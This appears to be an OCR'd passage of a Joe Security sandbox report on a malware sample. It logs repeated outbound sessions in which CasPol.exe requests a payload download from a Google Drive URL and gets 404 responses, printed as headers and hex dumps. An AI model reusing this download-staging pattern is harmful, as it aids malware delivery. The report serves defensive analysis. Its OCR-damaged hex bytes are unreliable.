Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:54:49 UTC 40

2021-11-24 10:54:49 UTC 40

2021-11-24 10:54:49 UTC 41

2021-11-24 10:54:49 UTC 42

Session ID Source IP

28 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:54:50 UTC 42

2021-11-24 10:54:50 UTC 42

2021-11-24 10:54:50 UTC 43

2021-11-24 10:54:50 UTC 43

Session ID Source IP
29 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49850

Direction

ouTt

Source Port

49851

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Content-Security-Policy: script-src 'nonce-jUJIximyXYJnFe+fmC+L6A' 'unsafe-inline' 'strict-dynamic’ https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:54:49 GMT

Expires: Wed, 24 Nov 2021 10:54:49 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-Ph1ZDSgsX3HsVMCrTgNbCg' ‘unsafe-inline’ 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Date: Wed, 24 Nov 2021 10:54:50 GMT

Expires: Wed, 24 Nov 2021 10:54:50 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:54:50 UTC 43

2021-11-24 10:54:50 UTC 43

2021-11-24 10:54:50 UTC 44

2021-11-24 10:54:50 UTC 45

Session ID Source IP

3 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:54:39 UTC 4

2021-11-24 10:54:39 UTC 5

2021-11-24 10:54:39 UTC 6

2021-11-24 10:54:39 UTC 6

Session ID Source IP
30 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49825

Direction

ouTt

Source Port

49852

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-urQXI7gN3nXCW7d9pnHIuQ' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Date: Wed, 24 Nov 2021 10:54:50 GMT

Expires: Wed, 24 Nov 2021 10:54:50 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_qgsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Content-Security-Policy: script-src 'nonce-LiadlwshTvLfo+S08Dba+Q" ‘unsafe-inline' ‘strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:54:39 GMT

Expires: Wed, 24 Nov 2021 10:54:39 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:54:50 UTC 45

2021-11-24 10:54:51 UTC 45

2021-11-24 10:54:51 UTC 46

2021-11-24 10:54:51 UTC 46

Session ID Source IP

31 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:54:51 UTC 46

2021-11-24 10:54:51 UTC 46

2021-11-24 10:54:51 UTC 47

2021-11-24 10:54:51 UTC 48

Session ID Source IP
32 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49853

Direction

ouTt

Source Port

49854

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-ufhrCg5JKFNgjN8NONeOdw' ‘unsafe-inline’ 'strict-dynamic' https: http: 'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Date: Wed, 24 Nov 2021 10:54:51 GMT

Expires: Wed, 24 Nov 2021 10:54:51 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src ‘nonce-50gdn3gL9SPZwNcc2Vdl+g' 'unsafe-inline' ‘strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Date: Wed, 24 Nov 2021 10:54:51 GMT

Expires: Wed, 24 Nov 2021 10:54:51 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:54:51 UTC 48

2021-11-24 10:54:51 UTC 48

2021-11-24 10:54:51 UTC 49

2021-11-24 10:54:51 UTC 49

Session ID Source IP

33 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:54:52 UTC 49

2021-11-24 10:54:52 UTC 49

2021-11-24 10:54:52 UTC 50

2021-11-24 10:54:52 UTC 51

Session ID Source IP
34 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49855

Direction

ouT

Source Port

49856

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-DZ0/854Q0c6ti/ueHO0r3fw' ‘unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:54:51 GMT

Expires: Wed, 24 Nov 2021 10:54:51 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXxE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, " "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Content-Security-Policy: script-src ‘'nonce-hSzKBRT4YleHecWdTT9P8g' ‘unsafe-inline' ‘strict-dynamic’ https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:54:52 GMT

Expires: Wed, 24 Nov 2021 10:54:52 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:54:52 UTC 51

2021-11-24 10:54:52 UTC 51

2021-11-24 10:54:52 UTC 52

2021-11-24 10:54:52 UTC 52

Session ID Source IP

35 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:54:53 UTC 52

2021-11-24 10:54:53 UTC 52

2021-11-24 10:54:53 UTC 53

2021-11-24 10:54:53 UTC 54

Session ID Source IP
36 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49857

Direction

ouT

Source Port

49858

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-z/4vMGp3alsOQNkVKEroag' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Date: Wed, 24 Nov 2021 10:54:52 GMT

Expires: Wed, 24 Nov 2021 10:54:52 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

